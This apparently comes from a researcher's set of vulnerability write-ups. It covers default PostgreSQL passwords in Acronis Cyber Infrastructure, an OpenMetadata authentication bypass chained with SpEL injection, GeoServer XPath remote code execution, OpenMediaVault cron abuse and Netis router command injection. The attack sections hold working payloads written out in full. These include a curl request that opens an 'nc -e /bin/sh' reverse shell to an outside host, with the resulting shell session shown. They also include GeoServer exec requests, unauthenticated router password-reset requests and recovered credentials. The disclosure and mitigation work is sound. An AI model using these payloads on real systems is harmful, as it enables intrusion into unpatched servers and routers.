dns-functions.sh       oneshot-0011-init-coredns.sh                                                 on-master.sh
functions.sh           oneshot-0012-enable-ha-for-postgresql.sh                                     on-standby.sh
gen-certificate.sh     oneshot-0013-clean-up-mdses-in-order-to-add-dns-srv-recs.sh                  pg-convert-layout.sh
ha-ovh-setup           oneshot-0014-create-self-service-roles-in-keystone.sh                        pg-scripts.sh
ha-ovh-teardown        oneshot-0015-clean-up-mdses-in-order-to-activate-vstorage-target-manager.sh  pg-switch-to-hot-standby.sh
ha-scripts.sh          oneshot-0016-update-internal-endpoint-in-keystone.sh                         pg-switch-to-master.sh
init-backend.sh        oneshot-0017-create-roles-implication-in-keystone.sh                         set-vips.sh
init-grafana.sh        oneshot-0018-create-backup-service-user.sh                                   takeover-management-node.sh
init-postinstall.sh    oneshot-0019-create-compute-cert.sh                                          utils-functions.sh
keystone-functions.sh  oneshot-0019-enable-postgres-backup.sh                                       uwsgi-backend-stop.sh
keystone-gen-env.sh    oneshot-0020-turn-off-aip-early-access.sh
[root@aci-471-53 libexec]#

I am not gonna dwell on all scripts, but the oneshot-init-keystone.sh is an interesting script to explore what is happening during initial installation.

#!/usr/bin/env bash

#set -x

. ~vstoradmin/libexec/logging.sh
LOG_FILE="/var/log/vstorage-ui-backend/init_keystone.log"
BACKEND_CONFIG=/usr/libexec/vstorage-ui-backend/etc/backend.cfg
log_init "${LOG_FILE}"
exec &>>"${LOG_FILE}"

. ~vstoradmin/libexec/db-functions.sh
. ~vstoradmin/libexec/keystone-functions.sh

grep -q -w "KEYSTONE_SERVICE_PASSWORD" ${BACKEND_CONFIG} || init_keystone

It calls two other scripts db-functions.sh and keystone-functions.sh which are worthwhile to explore and the last grep command is very interesting where a KEYSTONE_SERVICE_PASSWORD is queried from the file /usr/libexec/vstorage-ui-backend/etc/backend.cfg.

We are getting closer…

If we check the file /usr/libexec/vstorage-ui-backend/etc/backend.cfg it actually reveals the password of the vstorage-service-user!!!

KEYSTONE_USER_MIGRATION=True
KEYSTONE_SERVICE_USER='vstorage-service-user'
KEYSTONE_SERVICE_PASSWORD='3bfda47e79d62f7798e38acc7ff6'
KEYSTONE_SERVICE_PROJECT='admin'
KEYSTONE_ENDPOINT='https://127.0.0.1:5000/v3'

Is this the famous default password? Mmm, this looks too simple…
Let’s check how this password is ending up in this config file.

Let’s explore the other two scripts.
Browsing thru keystone-functions.sh the first function gen_keystone_passwd() already shows that the password gets randomly generated with openssl for the vstorage-service-user. This looks like a dead-end street.

function gen_keystone_passwd() {
    sudo -u vstoradmin openssl rand -hex 14 2>/dev/null

    [ $? -ne 0 ] && error "Unable to generate password for keystone service user" || :
}

But…

After exploring the second script db-functions.sh, interesting new information is revealed because it seems that during the creation and configuration of the database, default passwords are indeed being used.

configure_db() {
    log_inf "Configure database..."
    create_user "vstoradmin" "CREATEDB CREATEROLE LOGIN REPLICATION PASSWORD 'vstoradmin'"
    create_database "vstoradmin" "vstoradmin"
    log_inf "Database has been configured"
}

Database user vstoradmin seems to have a default password vstoradmin.
That is really interesting, so let’s validate this in the database by querying the passwords for these DB users which are stored in the postgres database table below.

postgres=# select * from "pg_authid";
          rolname          | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit |             rolpassword             | rolvaliduntil
---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------------------------------+---------------
 postgres                  | t        | t          | t             | t           | t           | t              | t            |           -1 |                                     |
 pg_monitor                | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_read_all_settings      | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_read_all_stats         | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_stat_scan_tables       | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_read_server_files      | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_write_server_files     | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_execute_server_program | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 pg_signal_backend         | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     |
 vstoradmin                | f        | t          | t             | t           | t           | t              | f            |           -1 | md5dc23b46758bc7e2c4d3d19493c492aae |
 coredns                   | f        | t          | f             | f           | t           | f              | f            |           -1 | md56e2738b0f8848df4ed98977974c83a7e |
 grafana                   | f        | t          | f             | f           | t           | f              | f            |           -1 |                                     |
(12 rows)

We can see the md5 hashed passwords in the table for user vstoradmin and coredns which are in the typical PostgreSQL format of the string “md5” followed by the md5 hash of a string comprised of the password followed by the postgres username.

Let’s use this logic and check if these accounts are using default passwords with hashcat.

# cat md5.hash
6e2738b0f8848df4ed98977974c83a7e
dc23b46758bc7e2c4d3d19493c492aae
# cat password.txt
vstoradminvstoradmin
corednscoredns
# hashcat --show  -a 0 -m 0 md5.hash password.txt
6e2738b0f8848df4ed98977974c83a7e:corednscoredns
dc23b46758bc7e2c4d3d19493c492aae:vstoradminvstoradmin

Or you can do the other way around .

[root@aci-471-53 libexec]# echo -n "md5"; echo -n "vstoradminvstoradmin" | md5sum | awk '{print $1}'
md5dc23b46758bc7e2c4d3d19493c492aae
[root@aci-471-53 libexec]# echo -n "md5"; echo -n "corednscoredns" | md5sum | awk '{print $1}'
md56e2738b0f8848df4ed98977974c83a7e
[root@aci-471-53 libexec]#

And BINGO, the md5 hashed passwords are matching and we have found default passwords!!!!

The final confirmation is to validate a patched version of the Acronis Cyber Infrastructure and check if these flaws have been mitigated.
Checking the db-functions.sh on a patched ACI 5.0.1-61 appliance, shows that no default password is set in the configure_db() function.

configure_db() {
    log_inf "Configure database..."
    create_user "vstoradmin" "CREATEDB CREATEROLE LOGIN REPLICATION"
    create_database "vstoradmin" "vstoradmin"
    log_inf "Database has been configured"
}

Also the pg_auth table in the postgres database does not show any passwords for the vstoradmin and coredns database users.
This confirms that the use of default passwords for these accounts have been mitigated.

postgres=# select * from "pg_authid";
          rolname          | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvalidu
ntil
---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------+----------
-----
 postgres                  | t        | t          | t             | t           | t           | t              | t            |           -1 |             |
 pg_monitor                | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_read_all_settings      | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_read_all_stats         | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_stat_scan_tables       | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_read_server_files      | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_write_server_files     | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_execute_server_program | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 pg_signal_backend         | f        | t          | f             | f           | f           | f              | f            |           -1 |             |
 vstoradmin                | f        | t          | t             | t           | t           | t              | f            |           -1 |             |
 coredns                   | f        | t          | f             | f           | t           | f              | f            |           -1 |             |
 grafana                   | f        | t          | f             | f           | t           | f              | f            |           -1 |             |
(12 rows)

postgres=#

The exploit

Now we want to understand how we can exploit this vulnerability.
After digging into the keystone db with the privileges of the vstoradmin user, it already shows that we can easily add a new administrative user by editing it directly in the keystone database. This administrative user allows us to upload ssh-keys via the ACI Web Portal that enables direct root access via SSH to the appliance.
You will need access to Acronis Web Portal, the PostgreSQL database and the SSH service, but if these three services are available and accessible from the outside world, you can easily hack yourself into any non-patched ACI appliance as user root.

I have created an Metasploit module that does all the magic for you.
You can find this module in Metasploit as PR 19463 – Acronis Cyber Infrastructure default password remote code execution.

Mitigation

You should patch your ACI appliance immediately following the Acronis security advisory SEC-6452.

References

CVE-2023-45249
Acronis security advisory SEC-6452
Acronis ACI Downloads
Metasploit PR 19463 – Acronis Cyber Infrastructure default password remote code execution

2
Ratings
Technical Analysis

Interesting case that allows for unauthenticated access to JWT token protected API calls in OpenMetada version 1.2.3 and below.
Reading the vulnerability description, it has to do with a incomplete Jwtfilter that allows to bypass this JWT token authentication.

I have pulled these specific code changes between OpenMetadata version 1.2.3 and 1.2.4.
It is obvious that implementation of the Jwtfilter is not strict using uriInfo.getPath().contains(endpoint) in version 1.2.3, whilst in version 1.2.4 it has been fixed and restricted using uriInfo.getPath().equalsIgnoreCase(endpoint)

OpenMetadata 1.2.3 excerpt from JwtFilter.java

public static final List<String> EXCLUDED_ENDPOINTS =
      List.of(
          "v1/system/config",
          "v1/users/signup",
          "v1/system/version",
          "v1/users/registrationConfirmation",
          "v1/users/resendRegistrationToken",
          "v1/users/generatePasswordResetLink",
          "v1/users/password/reset",
          "v1/users/checkEmailInUse",
          "v1/users/login",
          "v1/users/refresh");

  public void filter(ContainerRequestContext requestContext) {
    UriInfo uriInfo = requestContext.getUriInfo();
    if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
      return;
    }

OpenMetadata 1.2.4 excerpt from JwtFilter.java

public static final List<String> EXCLUDED_ENDPOINTS =
      List.of(
          "v1/system/config/jwks",
          "v1/system/config/authorizer",
          "v1/system/config/customLogoConfiguration",
          "v1/system/config/auth",
          "v1/users/signup",
          "v1/system/version",
          "v1/users/registrationConfirmation",
          "v1/users/resendRegistrationToken",
          "v1/users/generatePasswordResetLink",
          "v1/users/password/reset",
          "v1/users/checkEmailInUse",
          "v1/users/login",
          "v1/users/refresh");

  public void filter(ContainerRequestContext requestContext) {
    UriInfo uriInfo = requestContext.getUriInfo();
    if (EXCLUDED_ENDPOINTS.stream()
        .anyMatch(endpoint -> uriInfo.getPath().equalsIgnoreCase(endpoint))) {
      return;
    }

By adding an URL from the excluded list to a JWT token protected API url, you can potentially bypass the authentication and use the existing sPEL injection vulnerabilities in OpenMetadata version 1.2.3 and below:
CVE-2024-28254 –> GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/<expression>
CVE-2024-28848 –> GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/<expression>

Small demonstration

Chaining CVE-2024-28255 and CVE-2024-28254 to get an unauthenticated RCE via sPEL injection
sPEL injection: T(java.lang.Runtime).getRuntime().exec('nc 192.168.201.8 4444 -e /bin/sh')
Listener: nc -lvnp 4444
Also ensure that you URL encode the payload, otherwise your GET request might not deliver the expected response.

 # curl 'http://192.168.201.42:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nc%20192.168.201.8%204444%20-e%20%2Fbin%2Fsh%27%29'
{"code":400,"message":"Failed to evaluate - EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.Boolean"}

RCE is succesfull if you receive a “Failed to evaluate – EL1001E” message.

# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.201.42 63333
pwd
/opt/openmetadata
id
uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata)
uname -a
Linux aec47ea48dc2 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux

You can do the same by chaining CVE-2024-28255 and CVE-2024-28848.

By the way, most of the API enpoints are not susceptible to this bypass because most of these endpoint are using the SecurityContext.getUserPrincipal() that will return null using this JWT authentication bypass. You will get an error message as listed below.

OpenMetadata API request to list all databases

GET /api/v1;v1%2fusers%2flogin/databases HTTP/1.1
Host: 192.168.201.42:8585
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: */*
Connection: keep-alive

Response

HTTP/1.1 401 Unauthorized
Date: Wed, 31 Jul 2024 13:02:04 GMT
Content-Type: application/json
WWW-Authenticate: om-auth
Content-Length: 57
{ "code":401, "message":"No principal in security context" }

There is Metasploit module available that exploits this vulnerability in combination with the sPEL injection vulnerabilities.
You can find the module here at PR 19347.

Mitigation

Upgrade to the latest release of OpenMetadata or at least upgrade to the patched version 1.2.4.

References

CVE-2024-28255
CVE-2024-28254
CVE-2024-28848
OpenMetadata Advisory GHSL-2023-235 – GHSL-2023-237
OpenMetadata Quickstart Docker deployment
sPEL injections
HackTricks Expression Language
Metasploit OpenMetadata authentication bypass and SpEL injection exploit chain

Credits

Alvaro Munoz alias pwntester (https://github.com/pwntester) – Discovery

3
Ratings
Technical Analysis

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.

In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. It is confirmed that is exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

Examples of an evil XPath request.

GET method request using the WFS GetPropertyValue

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pawned') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

POST method request using the WFS GetPropertyValue

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/pawned')</wfs:valueReference>
</wfs:GetPropertyValue>

When successful, the response will return a java.lang.ClassCastException error and file tmp/pawned will be created.

It is important that the typeNames or feature types like sf:archsites exists in the GeoServer configuration. Also some typeNames/feature types do not work. You can find a working list of default typeNames / feature types below.

allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']

There are multipe method request using different XPath expressions. You can find a full set of examples here.
It is Chinese, but Google translate can help you out here ;–)

I have created a Metasploit module that exploits this vulnerability. It works both on Linux and Windows (credits go to jheysel-r7 to make windows work!)

Mitigation

Versions 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue.

References

CVE-2024-36401
Metasploit Module – GeoServer unauthenticated RCE
POC examples in Chinese
GeoServer Advisory: GHSA-6jj6-gm7p-fcvv

1
Ratings
Technical Analysis

This is a golden oldie, that never has been fixed. The existing module in Metasploit , exploit/multi/http/openmediavault_cmd_exec works only on versions in the range 0.4.x
Unfortunately the vulnerability still exists within all OpenMediaVault versions starting from from 0.5 until the recent release 7.4.2-2 and it allows an authenticated user to create and run cron jobs as root on the system.
I have created a new Metasploit module that can handle all targets from versions 0.1 and above. Shodan shows more then 10000 vulnerable instances and hundreds of them still have the default admin:openmediavault credentials configured which allows an attacker to leverage this exploit.

This module has been successfully tested on:

OpenMediaVault x64 appliances:

  • openmediavault_0.2_amd64.iso
  • openmediavault_0.2.5_amd64.iso
  • openmediavault_0.3_amd64.iso
  • openmediavault_0.4_amd64.iso
  • openmediavault_0.4.32_amd64.iso
  • openmediavault_0.5.0.24_amd64.iso
  • openmediavault_0.5.48_amd64.iso
  • openmediavault_1.9_amd64.iso
  • openmediavault_2.0.13_amd64.iso
  • openmediavault_2.1_amd64.iso
  • openmediavault_3.0.2-amd64.iso
  • openmediavault_3.0.26-amd64.iso
  • openmediavault_3.0.74-amd64.iso
  • openmediavault_4.0.9-amd64.iso
  • openmediavault_4.1.3-amd64.iso
  • openmediavault_5.0.5-amd64.iso
  • openmediavault_5.5.11-amd64.iso
  • openmediavault_5.6.13-amd64.iso
  • openmediavault_6.0-16-amd64.iso
  • openmediavault_6.0-34-amd64.iso
  • openmediavault_6.0-amd64.iso
  • openmediavault_6.0.24-amd64.iso
  • openmediavault_6.5.0-amd64.iso
  • openmediavault_7.0-20-amd64.iso
  • openmediavault_7.0-32-amd64.iso

ARM64 on Raspberry PI running Kali Linux 2024-3:

  • openmediavault 7.3.0-5
  • openmediavault 7.4.2-2

VirtualBox Images (x64):

  • openmediavault 0.4.24
  • openmediavault 0.5.30
  • openmediavault 1.0.21

You can download the iso images from here.

Mitigation

There is no fix available to address this vulnerability. This weakness has been there since 2013 and never fixed. Future releases will probably not fix it. Contacted the lead developer, but did not get any response. The only precaution that you can take is to ensure that you change the default admin credentials. It is not forced, so you need to take the action yourself.

References

CVE-2013-3632
Packetstorm Public Exploit
Metasploit Module – OpenMediaVault authenticated RCE
OpenMediaVault ISO Downloads

3
Ratings
Technical Analysis

Netis Systems Co., Ltd is a global leading provider of networking products and solutions in the data communication industry. It has three worldwide independent brands “netis”, “netcore” and “stonet” .Product lines of Netis company includes Wireless routers, Access point wireless adapters, Dump switches, POE switches, Industrial switches, etc.

A critical security vulnerability has been identified in the Netis router MW5360 by security researcher adhikara13. This vulnerability results in a Blind Command Injection in the “password” parameter, leading to unauthorized access.
Adhikara13 shared details in a POC on Github how to exploit this vulnerability which can be found here.

A more detailed analysis on vulnerability is not available so I did some reverse engineering on the firmware to understand the details of this vulnerability. So I download the latest firmware MW5360-1.0.1.3442 from here which is a very recent release from April 2024 that is still vulnerable :–(.
I emulated the firmware using FirmAE and used burpsuite to catch the requests to understand what was going on.

On the initial startup of the router, it will show you a welcome message and a setup screen to configure the router administration password and wifi settings including the wifi password which is the same as the administration password.
Capturing this request with burpsuite already shows the first design flaw, because this POST request can be executed multiple times without any authentication where the wifi password and administration password can be changed by manipulating the password and wpaPsk field.

POST Request

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: 201
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/guide/welcome.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&encrypt=4&wpaPsk=SWwwdmVoYWNraW5n&wpaPskType=2&wpaPskFormat=0&password=SWwwdmVoYWNraW5n&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0

Successful Response

HTTP/1.1 200 OK
Date: Sun, 02 Jun 2024 12:20:24 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]

You can even modify the request to only manipulate the router administration password by stripping the wifi parameters from the request.

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: 59
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/guide/welcome.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

password=SWwwdmVoYWNraW5n&quick_set=ap&app=wan_set_shortcut

So far, so good, but besides this authentication bypass, there is also a blind command injection vulnerability in the password parameter according to CVE description.

To understand this a bit better, we need to dig into the firmware code.
If you login in into the emulated router software, you will find the main web binary netis.cgi in /bin. This is a compiled MIPS ELF binary so we need a tool like ghidra to decompile and understand the code.

Loading and analyzing netis.cgi in ghidra shows that the main program is a wrapper that runs the specific cgi request calls like our skk_set.cgi that we can see with burpsuite when interacting with the Netis web interface.

undefined4 main(undefined4 param_1,char **param_2)

{
  bool bVar1;
  size_t sVar2;
  int iVar3;
  char *pcVar4;
  char *local_188;
  int local_184;
  int local_17c;
  void *local_160;
  char acStack_15c [256];
  char cStack_5c;
  char acStack_5b [63];
  int local_1c;
  char *local_18 [4];
  
  local_160 = (void *)0x0;
  memset(&cStack_5c,0,0x40);
  local_1c = 0;
  sVar2 = strlen(*param_2);
  while (local_1c < (int)sVar2) {
    memset(&cStack_5c,0,0x40);
    iVar3 = local_1c;
    FUN_0040670c((int)*param_2,'/',&local_1c);
    strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3);
    do {
      local_1c = local_1c + 1;
    } while ((*param_2)[local_1c] == '/');
  }
  local_188 = &cStack_5c;
  bVar1 = false;
  local_18[0] = "skk_set.cgi";
  local_18[1] = "upload_config.cgi";
  local_18[2] = "upload_fw.cgi";
  local_18[3] = (char *)0x0;
  local_17c = 0;
  do {
    if (local_18[local_17c] == (char *)0x0) {
LAB_00405408:
      if (bVar1) {
        iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4);
        if (iVar3 < 0) {
          local_184 = FUN_004050fc();
          if (local_184 < 0) {
            local_184 = 0;
          }
          FUN_00405060(local_184);
          if (2 < local_184) {
            system("rm -rf /tmp/lock_all.lock");
            FUN_00405060(0);
          }
          printf("[\"LOCK\"]");
          return 0;
        }
        close(iVar3);
      }
      apmib_init();
      FUN_00422c38(&local_160,param_2[1]);
      DAT_00440d40 = FUN_00405190();
      if (local_188 == (char *)0x0) {
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_004214cc(&local_160);
        printf("[\"%d\"]",999);
      }
      else {
        pcVar4 = strstr(local_188,".cgi");
        if (pcVar4 != (char *)0x0) {
          pcVar4 = strchr(local_188,0x2f);
          if (pcVar4 != (char *)0x0) {
            local_188 = acStack_5b;
          }
          FUN_00405764(local_188,&local_160,acStack_15c);
        }
        fflush(stdout);
        FUN_004214cc(&local_160);
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_00405060(0);
      }
      return 0;
    }
    iVar3 = strcmp(local_188,local_18[local_17c]);
    if (iVar3 == 0) {
      bVar1 = true;
      goto LAB_00405408;
    }
    local_17c = local_17c + 1;
  } while( true );
}

Let’s check the code for the password string and see where is it used. You can do this by using the search function in ghidra.
This creates quite some hits, but the most interesting hit is the ex_password variable which seems to be linked to a script /bin/script/password.sh

                             ex_password                                     XREF[2]:     Entry Point(*), 
                                                                                          FUN_0041301c:00413180(*)  
        0043be44 2f 62 69        ds         "/bin/script/password.sh"
                 6e 2f 73 
                 63 72 69 

Checking out function FUN_0041301c:00413180(*) shows ex_password a.k.a. /bin/script/password,sh is being called by the function FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);.

undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4)

{
  char *pcVar1;
  byte *pbVar2;
  byte abStack_8c [132];
  
  pcVar1 = FUN_00405644(param_1,"usb3gEnabled");
  if (pcVar1 != (char *)0x0) {
    FUN_00405644(param_1,"usb3gPinCode");
    param_3 = FUN_00405644(param_1,"usb3gApn");
    param_4 = 0;
    FUN_00412fe4();
    FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4);
  }
  pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g");
  if (pbVar2 != (byte *)0x0) {
    FUN_004030f4(abStack_8c,pbVar2);
    strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c);
  }
  FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4);
  memset(abStack_8c,0,0x80);
  apmib_get(0x159,abStack_8c);
  pcVar1 = "/proc/rtl_dnstrap/domain_name";
  FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4);
  FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
  FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4);
  return 0;
}

Interesting, but lets check if this code segment really gets executed if we run the POST request again. A quick trick is to monitor the process list on the router and grep the relevant processes during the execution of the POST request.

# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done
 3518 root      1132 R    /bin/sh -c echo 0 > /proc/http_redirect/enable
 3520 root      1132 R    /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root       324 R    /bin/script/password.sh
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root      1656 S    /bin/script/password.sh

And indeed /bin/script/password.sh gets executed as well as some other commands listed in the code.

So let’s now focus on the /bin/scripts/password.sh.
Checking out this shell script, it turns out to be a compiled MIPS ELF binary instead of a text readable unix shell script.

Let’s use ghidra again to decompile this binary and use the search function to look for the password string.
Again quite some hits, but then I stumble over a very interesting piece of code.

                             s_Changed_Username_and_Password_.._0041dc80     XREF[1]:     FUN_00409590:0040969c(*)  
        0041dc80 43 68 61        ds         "Changed Username and Password ...........\n"
                 6e 67 65 
                 64 20 55 

This is most likely the code section that sets the router administration password.

Checking out the function FUN_00409590 is revealing two major issues.

void FUN_00409590(void)

{
  undefined auStack_488 [64];
  undefined auStack_448 [64];
  undefined auStack_408 [1024];
  
  memset(auStack_408,0,0x400);
  memset(auStack_488,0,0x40);
  memset(auStack_448,0,0x40);
  apmib_get(0x15d,auStack_488);
  apmib_get(0x15e,auStack_448);
  RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd");
  RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd");
  RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
  RunSystemCmd("echo \"root:x:0:root\" > /var/group");
  RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group");
  RunSystemCmd("chmod 755 /var/passwd");
  RunSystemCmd("chmod 755 /var/group");
  fwrite("Changed Username and Password ...........\n",1,0x2a,stderr);
  return;
}

The first issue is that the router administration password is directly linked to the root password of router itself.
Oeps! That is not really best practice and attackers love these things.

The second issue is the blind command injection where the vulnerable code RunSystemCmd("echo root:%s | chpasswd -m",auStack_448); allows an attacker to manipulate password argument represented by auStack_448 and inject and execute code using the unix backtics.
This explains why the password parameter is indeed vulnerable of blind command injection.

The RunSystemCmd function is just a piece a code which is defined in the library libapmib.so and executes a unix command line using the system() call.

void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 local_res4;
  undefined4 local_res8;
  undefined4 local_resc;
  char acStack_118 [256];
  undefined4 *local_18;
  
  local_res4 = param_2;
  local_res8 = param_3;
  local_resc = param_4;
  memset(acStack_118,0,0x100);
  local_18 = &local_res4;
  vsprintf(acStack_118,param_1,local_18);
  system(acStack_118);
  return;
}

I have created an exploit that is published as official module Netis MW5360 unauthenticated RCE [CVE-2024-22729] in Metasploit.
Unfortunately there is no mitigation, because the latest firmware from April 2024 is still vulnerable. So be on the alert when suddenly your router administration password changes unexpectedly and you can not login into your router anymore.

References

CVE-2024-22729
Netis MW5360 unauthenticated RCE [CVE-2024-22729]
Firmware MW5360-1.0.1.3442

Credits

Credits go to the security researcher below who discovered this vulnerability.

  • adhikara13
1
Ratings
Technical Analysis

Th Gibbon web application v26.0.00 has a PHP deserialization vulnerability and I would like to use this particular example as a use case to explain a bit more how to find this type of vulnerabilities and how you can build your own exploit.

In some other articles, I already explained the concept of serialization and why it used in web application design, but let me quickly summarize the theory once more.

Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call.
The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, de-serialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.

So far, so good, but what is exactly insecure deserialization and why is it so dangerous?

Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Even worse, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.

Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format.
Take this object Clock.

$clock->type = "cuckoo";
$clock->isSold = true;

When serialized, this object may look something like below:

O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;}

O:5:"Clock": - An object with the 4-character class name "Clock"
2: - the object has 2 attributes
s:4:"type" - The key of the first attribute is the 4-character string "type"
s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo"
s:6:"isSold" - The key of the second attribute is the 6-character string "isSold"
b:1 - The value of the second attribute is the boolean value true

